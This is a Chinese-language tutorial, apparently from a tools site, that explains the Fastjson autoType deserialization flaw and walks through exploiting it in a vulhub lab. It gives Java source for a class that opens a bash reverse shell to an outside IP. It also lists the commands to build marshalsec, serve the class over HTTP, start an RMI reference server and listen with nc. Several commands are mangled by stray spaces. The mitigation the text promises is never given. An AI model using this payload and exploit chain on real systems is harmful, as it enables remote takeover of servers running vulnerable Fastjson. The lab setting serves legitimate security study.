Fastjson是Alibaba开发的,是java语言编写的高性能JSON库,被称Java语言中最快的JSON库,但是最近fastjson反序列化漏洞影响比较大,那么fastjson反序列化漏洞原理是什么?下面我们就来给大家讲解一下这方面的内容。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一个私有属性_bytecodes,其部分方法会执行这个值中包含的Java字节码。
想要使用TemplatesImpl的_bytecodes属性执行任意命令,有几个条件:
1、目标网站使用fastjson库解析json。
2、解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性。
3、目标使用的jdk中存在TemplatesImpl类。
这里漏洞环境主要是用vulhub上的两个fastjson漏洞搭建,搭建完成以后访问8090端口会出现如下所示:
漏洞利用需要我们在vps上启一个RMI服务并调用class文件,这些我们都可以在一台服务器上完成。
首先我们先创建命令执行代码,执行命令反弹shell,创建test.java,使用命令javac test.java编译生成test.class(整个实验环境都是基于java8的基础上)。
import java.lang.Runtime; import java.lang.Process; public class test { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { "bash" , "-c" , "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1" }; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类test.class
我们首先需要编译生成marshalsec-0.0.3-SNAPSHOT-all.jar,这里踩过一个坑,之前服务器上装的jdk11后来在操作过程中不断报错,后来经过排查发现这个jar包需要使用java8来进行编译。
git clone https: //github.com/mbechler/marshalsec cd marshalsec mvn clean package - DskipTests
出现如下图所示代表编译完成,去target目录下即可查看到。
我们先启一个http服务方便等会加载test.class。
# python2 python2 - m SimpleHTTPServer# python3 python3 - m http.server
然后我们再启RMI服务监听9999端口。
java - cp marshalsec - 0.0 .3 - SNAPSHOT - all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test
本地服务器监听8002端口。
nc - nvlp 8002
以上所有操作均在同一台服务器上完成。
了解到fastjson反序列化漏洞原理,我们也就可以做出解决方案了,最后大家如果想要了解更多json相关知识,敬请关注奇Q工具网。
推荐阅读: